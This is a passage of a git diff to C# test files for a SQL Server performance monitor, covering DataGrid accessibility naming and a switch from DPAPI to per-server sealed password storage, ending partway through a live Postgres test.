+        grid.ItemsSource = rows.ToList();
+        return grid;
+    }
+
+    private static DataGridTextColumn TextColumn(string header, string path) =>
+        new() { Header = header, Binding = new Binding(path) };
+
+    [Fact]
+    public void AGridRow_IsNamedFromItsFirstTwoVisibleColumns_NotFromItsDataTypeName()
+    {
+        var names = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var grid = NewGrid(new DataGridColumn[] { TextColumn("Time", "Time"), TextColumn("Server", "Server"), TextColumn("Retries", "Retries") },
+                new[] { new JobRow { Time = "06:01:12", Server = "example-sql-01" } });
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var peers = new List<AutomationPeer>();
+            Walk(UIElementAutomationPeer.CreatePeerForElement(grid), peers);
+            window.Close();
+            return peers.Select(p => (Type: p.GetType().Name, Name: p.GetName())).ToList();
+        });
+
+        Assert.Contains(names, n => n.Type == "DataGridItemAutomationPeer" && n.Name == "Time 06:01:12, Server example-sql-01");
+        Assert.DoesNotContain(names, n => n.Name.Contains("JobRow", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void AGridRow_SkipsHiddenColumnsAndReadsTemplatedColumns_AndFollowsTheDisplayOrder()
+    {
+        var name = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var grid = NewGrid(new DataGridColumn[]
+                {
+                    new DataGridTemplateColumn { Header = "Retries", CellTemplate = TextTemplate("Retries") },
+                    new DataGridTextColumn { Header = "Hidden", Binding = new Binding("Time"), Visibility = Visibility.Collapsed },
+                    new DataGridTemplateColumn { Header = "Server", CellTemplate = TextTemplate("Server") },
+                    TextColumn("Time", "Time"),
+                },
+                new[] { new JobRow { Time = "06:01:12", Server = "example-sql-01", Retries = "" } });
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var row = Descendants(grid).OfType<DataGridRow>().First();
+            var result = AutomationProperties.GetName(row);
+            window.Close();
+            return result;
+        });
+
+        /* Retries is empty, so the first two columns WITH text are Server and Time; the hidden column is never read. */
+        Assert.Equal("Server example-sql-01, Time 06:01:12", name);
+    }
+
+    [Fact]
+    public void ARowReusedForAnotherItem_IsRenamed_AndWatchersFollowTheRealizedCells_NotTheRowCount()
+    {
+        var (mismatches, checkedRows, atTop, peak, realized) = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var rows = Enumerable.Range(0, 3000).Select(i => new JobRow { Time = "T" + i, Server = "S" + i, Retries = i % 2 == 0 ? "" : "1" }).ToList();
+            var grid = NewGrid(new DataGridColumn[] { TextColumn("Time", "Time"), TextColumn("Server", "Server"), TextColumn("Retries", "Retries") }, rows, recycling: true);
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var scroll = Descendants(grid).OfType<ScrollViewer>().First();
+            var top = AccessibleNames.WatcherCount;
+            var max = top;
+            var bad = 0;
+            var seen = 0;
+
+            for (var offset = 0; offset <= rows.Count; offset += 37)
+            {
+                scroll.ScrollToVerticalOffset(offset);
+                Settle(window);
+                max = Math.Max(max, AccessibleNames.WatcherCount);
+
+                foreach (var row in Descendants(grid).OfType<DataGridRow>())
+                {
+                    if (row.Item is not JobRow item)
+                    {
+                        continue;
+                    }
+
+                    seen++;
+
+                    if (AutomationProperties.GetName(row) != "Time " + item.Time + ", Server " + item.Server)
+                    {
+                        bad++;
+                    }
+                }
+            }
+
+            var realizedCells = Descendants(grid).OfType<DataGridCell>().Count();
+            window.Close();
+            return (bad, seen, top, max, realizedCells);
+        });
+
+        Assert.True(checkedRows > 1000, "the scroll visited only " + checkedRows + " rows");
+        Assert.Equal(0, mismatches);
+        /* A few watchers per realized cell and row, never one per data row. */
+        Assert.True(peak <= atTop * 2, "watchers grew from " + atTop + " to " + peak + " while scrolling 3000 rows (" + realized + " cells realized at the end)");
+        Assert.True(peak < 600, "watchers peaked at " + peak);
+    }
+
+    [Fact]
+    public void ATemplatedCellWithNothingVisible_IsNamedBlank_AndKeepsItsRealContent()
+    {
+        var (blank, filled, withBox, withText) = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var box = new DataTemplate { VisualTree = new FrameworkElementFactory(typeof(CheckBox)) };
+            var grid = NewGrid(new DataGridColumn[]
+                {
+                    TextColumn("Time", "Time"),
+                    new DataGridTemplateColumn { Header = "Retries", CellTemplate = TextTemplate("Retries") },
+                    new DataGridTemplateColumn { Header = "Done", CellTemplate = box },
+                },
+                new[] { new JobRow { Time = "06:01:12" } });
+            var window = new Window { Content = grid, Width = 500, Height = 300 };
+            Settle(window);
+            var cells = Descendants(grid).OfType<DataGridCell>().ToList();
+            var retries = cells.First(c => c.Column.Header as string == "Retries");
+            var done = cells.First(c => c.Column.Header as string == "Done");
+            var time = cells.First(c => c.Column.Header as string == "Time");
+            var first = AutomationProperties.GetName(retries);
+            var boxName = AutomationProperties.GetName(done);
+            var timeName = AutomationProperties.GetName(time);
+            var text = Descendants(retries).OfType<TextBlock>().First();
+            text.Text = "3";
+            var second = AutomationProperties.GetName(retries);
+            window.Close();
+            return (first, second, boxName, timeName);
+        });
+
+        Assert.Equal("Retries: blank", blank);
+        Assert.Equal("", filled);
+        Assert.Equal("", withBox);
+        Assert.Equal("", withText);
+    }
+
+    [Fact]
+    public void AfterTheFirstLook_TheSizeChangedHandlers_DoNoAllocationAndAddNoWatchers()
+    {
+        var (bytes, before, after) = StaTestThread.Run(() =>
+        {
+            AccessibleNames.Register();
+            var tabs = new TabControl();
+            tabs.Items.Add(new TabItem { Header = new StackPanel { Children = { new TextBlock { Text = "example-sql-01" } } }, Content = new TextBlock() });
+            tabs.Items.Add(new TabItem { Header = new StackPanel(), Content = new TextBlock() });
+            var panelHeader = new StackPanel { Orientation = Orientation.Horizontal };
+            panelHeader.Children.Add(new TextBlock { Text = "Time" });
+            var grid = NewGrid(new DataGridColumn[]
+                {
+                    new DataGridTextColumn { Header = panelHeader, Binding = new Binding("Time") },
+                    new DataGridTextColumn { Header = new StackPanel(), Binding = new Binding("Retries") },
+                    TextColumn("Server", "Server"),
+                },
+                new[] { new JobRow { Time = "06:01:12", Server = "example-sql-01", Retries = "" } });
+            var host = new StackPanel();
+            host.Children.Add(tabs);
+            host.Children.Add(grid);
+            var window = new Window { Content = host, Width = 500, Height = 400 };
+            Settle(window);
+
+            var elements = Descendants(host).Where(d => d is TabItem or System.Windows.Controls.Primitives.DataGridColumnHeader or DataGridRow or DataGridCell).Cast<FrameworkElement>().ToList();
+            Assert.True(elements.Count >= 9, "found " + elements.Count + " elements");
+            var args = new RoutedEventArgs(FrameworkElement.SizeChangedEvent);
+            RoutedEventHandler[] handlers =
+            {
+                AccessibleNames.OnCellSized, AccessibleNames.OnRowSized, AccessibleNames.OnColumnHeaderSized, AccessibleNames.OnTabItemSized,
+            };
+
+            foreach (var element in elements)
+            {
+                foreach (var handler in handlers)
+                {
+                    handler(element, args);
+                }
+            }
+
+            var watchersBefore = AccessibleNames.WatcherCount;
+
+            /* A handler that allocates per call allocates in EVERY window below; a one-off cost the runtime pays on this thread
+               (the JIT moving a handler to its optimised code, a type or static first reached on the CI machine) lands in one
+               window at most. CI saw 23704 bytes once over 640,000 calls, which is the second kind, so the proof is the
+               smallest window: a real per-call allocation can never make it zero. */
+            long Window(int passes)
+            {
+                var allocatedBefore = GC.GetAllocatedBytesForCurrentThread();
+
+                for (var i = 0; i < passes; i++)
+                {
+                    foreach (var element in elements)
+                    {
+                        foreach (var handler in handlers)
+                        {
+                            handler(element, args);
+                        }
+                    }
+                }
+
+                return GC.GetAllocatedBytesForCurrentThread() - allocatedBefore;
+            }
+
+            Window(500);
+            var allocated = long.MaxValue;
+
+            for (var w = 0; w < 5; w++)
+            {
+                allocated = Math.Min(allocated, Window(400));
+            }
+
+            var watchersAfter = AccessibleNames.WatcherCount;
+            window.Close();
+            return (allocated, watchersBefore, watchersAfter);
+        });
+
+        Assert.Equal(0, bytes);
+        Assert.Equal(before, after);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerServerInventoryEnabledTests.cs b/Darling/Darling.Tests/ViewerServerInventoryEnabledTests.cs
index 7d17b23775..9ff81606a9 100644
--- a/Darling/Darling.Tests/ViewerServerInventoryEnabledTests.cs
+++ b/Darling/Darling.Tests/ViewerServerInventoryEnabledTests.cs
@@ -31,7 +31,7 @@ namespace Darling.Tests;
 public class ViewerServerInventoryEnabledTests
 {
     private static string InventorySource => ReadRepoFile(Path.Combine(
-        "Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.Inventory.cs"));
+        "Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "DarlingFinOpsInventoryReader.cs"));
 
     /// <summary>
     /// The projection carries <c>is_enabled</c>, and it comes from the REGISTRY rather than from the properties
@@ -66,12 +66,12 @@ public void TheInventoryQuery_SortsLiveServersFirst()
     [Fact]
     public void TheReader_ReadsIsEnabledAt17_MonthlyCostAt18_AndLastCollectedAt19()
     {
-        Assert.Contains("IsEnabled = reader.IsDBNull(17)", InventorySource, StringComparison.Ordinal);
-        Assert.Contains("MonthlyCost = reader.IsDBNull(18)", InventorySource, StringComparison.Ordinal);
-        Assert.Contains("LastCollected = reader.IsDBNull(19)", InventorySource, StringComparison.Ordinal);
+        Assert.Contains("IsEnabled: reader.IsDBNull(17)", InventorySource, StringComparison.Ordinal);
+        Assert.Contains("MonthlyCost: reader.IsDBNull(18)", InventorySource, StringComparison.Ordinal);
+        Assert.Contains("LastCollectedUtc: reader.IsDBNull(19)", InventorySource, StringComparison.Ordinal);
 
         /* And nothing still reads the pre-shift position for the cost. */
-        Assert.DoesNotContain("MonthlyCost = reader.IsDBNull(17)", InventorySource, StringComparison.Ordinal);
+        Assert.DoesNotContain("MonthlyCost: reader.IsDBNull(17)", InventorySource, StringComparison.Ordinal);
     }
 
     /// <summary>
diff --git a/Darling/Darling.Tests/ViewerServerManagementTests.cs b/Darling/Darling.Tests/ViewerServerManagementTests.cs
index e13edc1e1b..93929194fb 100644
--- a/Darling/Darling.Tests/ViewerServerManagementTests.cs
+++ b/Darling/Darling.Tests/ViewerServerManagementTests.cs
@@ -12,7 +12,9 @@
 using System.Text.Json;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
+using System.Linq;
 using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
 using PerformanceMonitor.Darling.Viewer;
 using Xunit;
 
@@ -31,6 +33,7 @@ public sealed class ViewerMonitoredServerSqlTests
         "server_id", "name", "host", "database", "auth", "username", "encrypted_password", "encrypt_mode",
         "trust_server_certificate", "read_only_intent", "multi_subnet_failover", "excluded_databases",
         "monthly_cost_usd", "capture_plans", "is_enabled", "alert_delivery_mode_override", "engine", "port",
+        "aws_role_arn", "aws_external_id",
     };
 
     [Fact]
@@ -44,9 +47,10 @@ public void UpsertSql_WritesEveryStoreColumn_AsBoundParameters_OnConflictUpdate(
             Assert.Contains(column, sql, StringComparison.Ordinal);
         }
 
-        /* Every value is a $N parameter (18 columns incl. the V18 alert_delivery_mode_override and the #3499
-           engine + port — the V70 columns the MCP tool wrote and the viewer silently defaulted), never inlined. */
-        for (var i = 1; i <= 18; i++)
+        /* Every value is a $N parameter (20 columns incl. the V18 alert_delivery_mode_override, the #3499
+           engine + port — the V70 columns the MCP tool wrote and the viewer silently defaulted — and the #5452
+           aws_role_arn + aws_external_id), never inlined. */
+        for (var i = 1; i <= 20; i++)
         {
             Assert.Contains("$" + i.ToString(System.Globalization.CultureInfo.InvariantCulture), sql, StringComparison.Ordinal);
         }
@@ -379,40 +383,6 @@ public void RequiresSecret_ForSqlAndServicePrincipal_NotWindowsOrManagedIdentity
     }
 }
 
-/// <summary>
-/// The DPAPI blob the viewer writes into <c>encrypted_password</c> must be readable by the SERVICE, and vice
-/// versa — a cross-project round trip against <see cref="DarlingSecrets"/> proving the entropy + scope match
-/// (Windows-only; DPAPI is unavailable elsewhere).
-/// </summary>
-public sealed class ViewerServerSecretTests
-{
-    [Fact]
-    public void ViewerProtect_IsReadableByTheService()
-    {
-        Assert.SkipUnless(OperatingSystem.IsWindows(), "DPAPI requires Windows.");
-        var blob = ViewerServerSecret.Protect("s3cr3t!");
-        Assert.Equal("s3cr3t!", DarlingSecrets.Unprotect(blob));
-    }
-
-    [Fact]
-    public void ServiceProtect_IsReadableByTheViewer()
-    {
-        Assert.SkipUnless(OperatingSystem.IsWindows(), "DPAPI requires Windows.");
-        var blob = DarlingSecrets.Protect("another-pw");
-        Assert.Equal("another-pw", ViewerServerSecret.TryUnprotect(blob));
-    }
-
-    [Fact]
-    public void TryUnprotect_ReturnsNullOnGarbage_NeverThrows()
-    {
-        Assert.SkipUnless(OperatingSystem.IsWindows(), "DPAPI requires Windows.");
-        Assert.Null(ViewerServerSecret.TryUnprotect(null));
-        Assert.Null(ViewerServerSecret.TryUnprotect(""));
-        Assert.Null(ViewerServerSecret.TryUnprotect("not-base64!!"));
-        Assert.Null(ViewerServerSecret.TryUnprotect(Convert.ToBase64String(new byte[] { 1, 2, 3, 4 })));
-    }
-}
-
 /// <summary>
 /// The one-time viewer-servers.json → config migrate-in: the per-entry projection (auth mapping + secret
 /// resolution + the shared server_id) and the once-marker guard. Uses an in-memory secret fake + temp files,
@@ -448,15 +418,32 @@ public void Projection_SqlEntry_SealsTheSecretAsAServiceReadableBlob()
         var entry = new ViewerServerEntry { ServerName = "SQL2019", DisplayName = "Dev", AuthenticationType = AuthenticationTypes.SqlServer };
         fixture.ServerStore.AddServer(entry, "monitor", "p@ss");
 
-        var (row, reason) = fixture.Migration.TryProjectEntry(fixture.ServerStore.GetByServerName("SQL2019")!);
+        using var key = PasswordPrivateKey.Generate();
+        var (row, reason) = fixture.Migration.TryProjectEntry(
+            fixture.ServerStore.GetByServerName("SQL2019")!, new ViewerPasswordSealer(key.PublicKey));
 
         Assert.Null(reason);
         Assert.NotNull(row);
         Assert.Equal("sql", row!.Auth);
         Assert.Equal("monitor", row.Username);
         Assert.NotNull(row.EncryptedPassword);
-        /* The service must be able to read what the migrate wrote. */
-        Assert.Equal("p@ss", DarlingSecrets.Unprotect(row.EncryptedPassword!));
+        /* #5366: the migrate seals; the service opens it with its key, for this row's settings, and no DPAPI blob is written. */
+        Assert.StartsWith(PasswordSeal.V1Prefix, row.EncryptedPassword, StringComparison.Ordinal);
+        Assert.Equal("p@ss", PasswordSeal.Open(row.EncryptedPassword!, key, ViewerPasswordSealer.BindingOf(row)));
+    }
+
+    [Fact]
+    public void Projection_SqlEntry_WithoutAKey_IsLeftForALaterRun()
+    {
+        using var fixture = new Fixture();
+        fixture.ServerStore.AddServer(
+            new ViewerServerEntry { ServerName = "SQL2019", DisplayName = "Dev", AuthenticationType = AuthenticationTypes.SqlServer },
+            "monitor", "p@ss");
+
+        var (row, reason) = fixture.Migration.TryProjectEntry(fixture.ServerStore.GetByServerName("SQL2019")!);
+
+        Assert.Null(row);
+        Assert.Equal(ViewerServerMigration.NoPasswordKeyReason, reason);
     }
 
     [Fact]
@@ -510,14 +497,16 @@ public void Projection_ServicePrincipal_SkipsWithoutSecret_ProjectsWithOne()
         withSecret.ServerStore.AddServer(
             new ViewerServerEntry { ServerName = "azure", DisplayName = "Azure", AuthenticationType = AuthenticationTypes.ServicePrincipal },
             "app-client-id", "the-client-secret");
-        var (row, reason) = withSecret.Migration.TryProjectEntry(withSecret.ServerStore.GetAllServers()[0]);
+        using var key = PasswordPrivateKey.Generate();
+        var (row, reason) = withSecret.Migration.TryProjectEntry(
+            withSecret.ServerStore.GetAllServers()[0], new ViewerPasswordSealer(key.PublicKey));
         Assert.Null(reason);
         Assert.NotNull(row);
         Assert.Equal("serviceprincipal", row!.Auth);
         Assert.Equal("app-client-id", row.Username);
         Assert.NotNull(row.EncryptedPassword);
-        /* The service must be able to read the client secret the migrate wrote. */
-        Assert.Equal("the-client-secret", DarlingSecrets.Unprotect(row.EncryptedPassword!));
+        /* The service opens the client secret the migrate wrote, for this row's settings. */
+        Assert.Equal("the-client-secret", PasswordSeal.Open(row.EncryptedPassword!, key, ViewerPasswordSealer.BindingOf(row)));
     }
 
     [Fact]
@@ -729,13 +718,27 @@ public void BuildMonitoredServerRow_WindowsAuth_MapsToIntegrated_NoSecret()
     [Fact]
     public void BuildMonitoredServerRow_SqlAuth_MapsToSql_CarriesBlobAndUsername()
     {
+        using var key = PasswordPrivateKey.Generate();
         var (row, _) = AddMultipleServersDialog.BuildMonitoredServerRow(
             Line("SQL2022"),
-            new BulkSharedSettings { AuthType = AuthenticationTypes.SqlServer, Username = "monitor", EncryptedPassword = "DPAPI-BLOB==" });
+            new BulkSharedSettings { AuthType = AuthenticationTypes.SqlServer, Username = "monitor", Secret = "p@ss-not-real" },
+            new ViewerPasswordSealer(key.PublicKey));
 
         Assert.Equal("sql", row!.Auth);
         Assert.Equal("monitor", row.Username);
-        Assert.Equal("DPAPI-BLOB==", row.EncryptedPassword);
+        Assert.StartsWith(PasswordSeal.V1Prefix, row.EncryptedPassword, StringComparison.Ordinal);
+        Assert.Equal("p@ss-not-real", PasswordSeal.Open(row.EncryptedPassword!, key, ViewerPasswordSealer.BindingOf(row)));
+    }
+
+    [Fact]
+    public void BuildMonitoredServerRow_APasswordWithoutAKey_IsRefusedWithTheKeySentence()
+    {
+        var (row, error) = AddMultipleServersDialog.BuildMonitoredServerRow(
+            Line("SQL2022"),
+            new BulkSharedSettings { AuthType = AuthenticationTypes.SqlServer, Username = "monitor", Secret = "p@ss-not-real" });
+
+        Assert.Null(row);
+        Assert.Equal(ViewerPasswordKey.NoKeyText, error);
     }
 
     [Theory]
@@ -764,7 +767,8 @@ public void BuildMonitoredServerRow_NonInteractiveEntra_MapsThrough(string authT
         // client id in username, the client secret in the DPAPI blob for SP; MI carries neither).
         var (row, error) = AddMultipleServersDialog.BuildMonitoredServerRow(
             Line("azure.database.windows.net"),
-            new BulkSharedSettings { AuthType = authType, Username = "app-id", EncryptedPassword = "DPAPI-BLOB==" });
+            new BulkSharedSettings { AuthType = authType, Username = "app-id", Secret = "p@ss-not-real" },
+            new ViewerPasswordSealer(PasswordPrivateKey.Generate().PublicKey));
 
         Assert.Null(error);
         Assert.NotNull(row);
@@ -808,16 +812,31 @@ public void BuildMonitoredServerRow_CarriesEncryptTrustDatabase_AndDisplayFallba
     }
 
     [Fact]
-    public void SharedBlob_IsReusedAcrossRows_ProtectNotCalledPerRow()
+    public void MultiAddOfThreeRows_GivesThreeValues_EachOpeningOnlyWithItsOwnBinding()
     {
-        // The shared settings carry ONE pre-Protected blob (Protect is called once at resolve time); the mapping
-        // helper reuses it verbatim on every row rather than re-encrypting per server.
-        var shared = new BulkSharedSettings { AuthType = AuthenticationTypes.SqlServer, Username = "u", EncryptedPassword = "ONE-BLOB==" };
-        var (a, _) = AddMultipleServersDialog.BuildMonitoredServerRow(Line("SQL2022"), shared);
-        var (b, _) = AddMultipleServersDialog.BuildMonitoredServerRow(Line("SQL2019"), shared);
+        // #5366: the one shared password is sealed once per row, for that row's own connection settings. Three rows give
+        // three different values, and each opens only with its own binding.
+        using var key = PasswordPrivateKey.Generate();
+        var sealer = new ViewerPasswordSealer(key.PublicKey);
+        var shared = new BulkSharedSettings { AuthType = AuthenticationTypes.SqlServer, Username = "u", Secret = "p@ss-not-real" };
+        var rows = new[] { "alpha-sql", "beta-sql", "gamma-sql" }
+            .Select(host => AddMultipleServersDialog.BuildMonitoredServerRow(Line(host), shared, sealer).Row!)
+            .ToArray();
 
-        Assert.Equal("ONE-BLOB==", a!.EncryptedPassword);
-        Assert.Same(a.EncryptedPassword, b!.EncryptedPassword);
+        Assert.Equal(3, rows.Select(r => r.EncryptedPassword).Distinct().Count());
+        for (var i = 0; i < rows.Length; i++)
+        {
+            Assert.Equal("p@ss-not-real", PasswordSeal.Open(rows[i].EncryptedPassword!, key, ViewerPasswordSealer.BindingOf(rows[i])));
+            for (var j = 0; j < rows.Length; j++)
+            {
+                if (i != j)
+                {
+                    var other = ViewerPasswordSealer.BindingOf(rows[j]);
+                    var ex = Assert.Throws<PasswordSealException>(() => PasswordSeal.Open(rows[i].EncryptedPassword!, key, other));
+                    Assert.Equal(PasswordSealFailure.BindingOrTamper, ex.Kind);
+                }
+            }
+        }
     }
 
     [Fact]
@@ -825,7 +844,8 @@ public void BuildTestConnectServer_ProjectsTheSameFields()
     {
         var (test, error) = AddMultipleServersDialog.BuildTestConnectServer(
             Line("SQL2022", "Prod", "tpcc"),
-            new BulkSharedSettings { AuthType = AuthenticationTypes.SqlServer, Username = "monitor", EncryptedPassword = "BLOB==", EncryptMode = "Strict", TrustServerCertificate = true });
+            new BulkSharedSettings { AuthType = AuthenticationTypes.SqlServer, Username = "monitor", Secret = "p@ss-not-real", EncryptMode = "Strict", TrustServerCertificate = true },
+            new ViewerPasswordSealer(PasswordPrivateKey.Generate().PublicKey));
 
         Assert.Null(error);
         Assert.NotNull(test);
@@ -834,7 +854,7 @@ public void BuildTestConnectServer_ProjectsTheSameFields()
         Assert.Equal("tpcc", test.Database);
         Assert.Equal("sql", test.Auth);
         Assert.Equal("monitor", test.Username);
-        Assert.Equal("BLOB==", test.EncryptedPassword);
+        Assert.StartsWith(PasswordSeal.V1Prefix, test.EncryptedPassword, StringComparison.Ordinal);
         Assert.Equal("Strict", test.EncryptMode);
         Assert.True(test.TrustServerCertificate);
     }
@@ -852,7 +872,8 @@ public void BuildTestConnectServer_InteractiveEntra_IsRejected_ServicePrincipalM
         // ...while a service principal builds the probe (Auth mapped to serviceprincipal).
         var (test, error) = AddMultipleServersDialog.BuildTestConnectServer(
             Line("azure"),
-            new BulkSharedSettings { AuthType = AuthenticationTypes.ServicePrincipal, Username = "app-id", EncryptedPassword = "DPAPI-BLOB==" });
+            new BulkSharedSettings { AuthType = AuthenticationTypes.ServicePrincipal, Username = "app-id", Secret = "p@ss-not-real" },
+            new ViewerPasswordSealer(PasswordPrivateKey.Generate().PublicKey));
         Assert.Null(error);
         Assert.NotNull(test);
         Assert.Equal("serviceprincipal", test!.Auth);
diff --git a/Darling/Darling.Tests/ViewerServerSealLiveTests.cs b/Darling/Darling.Tests/ViewerServerSealLiveTests.cs
new file mode 100644
index 0000000000..a0c050b9d4
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerServerSealLiveTests.cs
@@ -0,0 +1,181 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each fact mints its own scratch database through ScratchPostgres and never touches another
+   test's rows, so it is deliberately NOT [Collection("live-postgres")]. */
+
+/// <summary>
+/// The viewer seals a server password for its connection settings and saves it (#5366), against a real store: the
+/// value in the raw row, read back through <see cref="ServerConnectionIdentity.FromStoredColumns"/>, opens with the key
+/// and the stored settings, and a change of how the server is reached with the stored value kept is refused.
+/// </summary>
+public sealed class ViewerServerSealLiveTests
+{
+    private const string Password = "p@ss-not-real";
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static MonitoredServerRow Row(bool trust) => new()
+    {
+        ServerId = ViewerDataService.ComputeServerId("alpha-live", null, false),
+        Name = "Alpha live",
+        Host = "alpha-live",
+        Auth = "sql",
+        Username = "monitor",
+        EncryptMode = "Mandatory",
+        TrustServerCertificate = trust,
+    };
+
+    private static async Task MigrateStoreAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+    }
+
+    private static async Task PublishAsync(ScratchPostgres scratch, PasswordPrivateKey key, string serviceState, string? note, CancellationToken ct)
+    {
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await using (var keyCommand = new NpgsqlCommand(
+            "INSERT INTO config.password_key (key_id, public_key, algorithm, state) VALUES ($1, $2, $3, 'current')", connection))
+        {
+            keyCommand.Parameters.Add(new NpgsqlParameter { Value = key.PublicKey.KeyId });
+            keyCommand.Parameters.Add(new NpgsqlParameter { Value = key.PublicKey.Spki });
+            keyCommand.Parameters.Add(new NpgsqlParameter { Value = PasswordSeal.Algorithm });
+            await keyCommand.ExecuteNonQueryAsync(ct);
+        }
+
+        await using var stateCommand = new NpgsqlCommand(
+            "INSERT INTO config.password_key_service (service_host, key_id, state, note, updated_at) "
+            + "VALUES ('alpha-host', $1, $2, $3, now() AT TIME ZONE 'UTC')", connection);
+        stateCommand.Parameters.Add(new NpgsqlParameter { Value = key.PublicKey.KeyId });
+        stateCommand.Parameters.Add(new NpgsqlParameter { Value = serviceState });
+        stateCommand.Parameters.Add(new NpgsqlParameter { Value = (object?)note ?? DBNull.Value });
+        await stateCommand.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<(ServerConnectionIdentity Identity, string Stored)> ReadRawRowAsync(
+        ScratchPostgres scratch, int serverId, CancellationToken ct)
+    {
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await using var command = new NpgsqlCommand(
+            "SELECT " + ServerConnectionIdentity.StoredColumns + ", encrypted_password FROM config.config_monitored_servers WHERE server_id = $1",
+            connection);
+        command.Parameters.Add(new NpgsqlParameter { Value = serverId });
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct));
+        var identity = ServerConnectionIdentity.FromStoredColumns(
+            reader.IsDBNull(0) ? null : reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetInt32(1),
+            reader.IsDBNull(2) ? null : reader.GetString(2), reader.IsDBNull(3) ? null : reader.GetString(3),
+            !reader.IsDBNull(4) && reader.GetBoolean(4), reader.IsDBNull(5) ? null : reader.GetString(5),
+            reader.IsDBNull(6) ? null : reader.GetString(6), reader.IsDBNull(7) ? null : reader.GetString(7),
+            !reader.IsDBNull(8) && reader.GetBoolean(8), !reader.IsDBNull(9) && reader.GetBoolean(9));
+        return (identity, reader.GetString(10));
+    }
+
+    [Fact]
+    public async Task AddAndEdit_SealForTheStoredSettings_AndAMovedReachKeepsNoStoredValue()
+    {
+        var baseConnectionString = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live seal round trip.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var directory = Directory.CreateTempSubdirectory("darling-seal-live-").FullName;
+        using var key = PasswordPrivateKey.Generate();
+        var bodySucceeded = false;
+        try
+        {
+            await MigrateStoreAsync(scratch, ct);
+            await PublishAsync(scratch, key, "ok", null, ct);
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+
+            var (published, state) = await viewer.GetPublishedPasswordKeyAsync(ct);
+            var decision = ViewerPasswordKey.Evaluate(published, state, viewer.StoreConnectionIdentity, new ViewerPasswordKeyPins(Path.Combine(directory, "pins.json")));
+            Assert.NotNull(decision.Key);
+            var sealer = new ViewerPasswordSealer(decision.Key!);
+
+            /* Add: the value in the raw row opens with the key and the settings the row stores. */
+            var row = Row(trust: false);
+            row.EncryptedPassword = sealer.Seal(Password, row);
+            Assert.Equal(MonitoredServerAddOutcome.Added, (await viewer.AddMonitoredServerAsync(row, ct)).Outcome);
+            var (identity, stored) = await ReadRawRowAsync(scratch, row.ServerId, ct);
+            Assert.Equal(Password, PasswordSeal.Open(stored, key, PasswordBinding.ForServer(identity)));
+
+            /* Edit that changes only the trust setting and keeps the stored value: refused, nothing written. */
+            var kept = Row(trust: true);
+            kept.EncryptedPassword = stored;
+            await Assert.ThrowsAsync<MonitoredServerPasswordNeededException>(() => viewer.UpsertMonitoredServerAsync(kept, ct));
+            Assert.Equal(stored, (await ReadRawRowAsync(scratch, row.ServerId, ct)).Stored);
+
+            /* The same edit with the password typed again seals for the new settings. */
+            var moved = Row(trust: true);
+            moved.EncryptedPassword = sealer.Seal(Password, moved);
+            await viewer.UpsertMonitoredServerAsync(moved, ct);
+            var (movedIdentity, movedStored) = await ReadRawRowAsync(scratch, row.ServerId, ct);
+            Assert.True(movedIdentity.TrustServerCertificate);
+            Assert.Equal(Password, PasswordSeal.Open(movedStored, key, PasswordBinding.ForServer(movedIdentity)));
+            Assert.Throws<PasswordSealException>(() => PasswordSeal.Open(movedStored, key, PasswordBinding.ForServer(identity)));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+            try { Directory.Delete(directory, recursive: true); } catch { /* best-effort */ }
+        }
+    }
+
+    [Fact]
+    public async Task AServiceStateThatIsNotOk_RefusesWithItsNote_OnARealStore()
+    {
+        var baseConnectionString = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live seal round trip.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var directory = Directory.CreateTempSubdirectory("darling-seal-live-").FullName;
+        using var key = PasswordPrivateKey.Generate();
+        var bodySucceeded = false;
+        try
+        {
+            await MigrateStoreAsync(scratch, ct);
+            await PublishAsync(scratch, key, "missing", "The key file was not found.", ct);
+            await using var viewer = new ViewerDataService(scratch.ConnectionString);
+
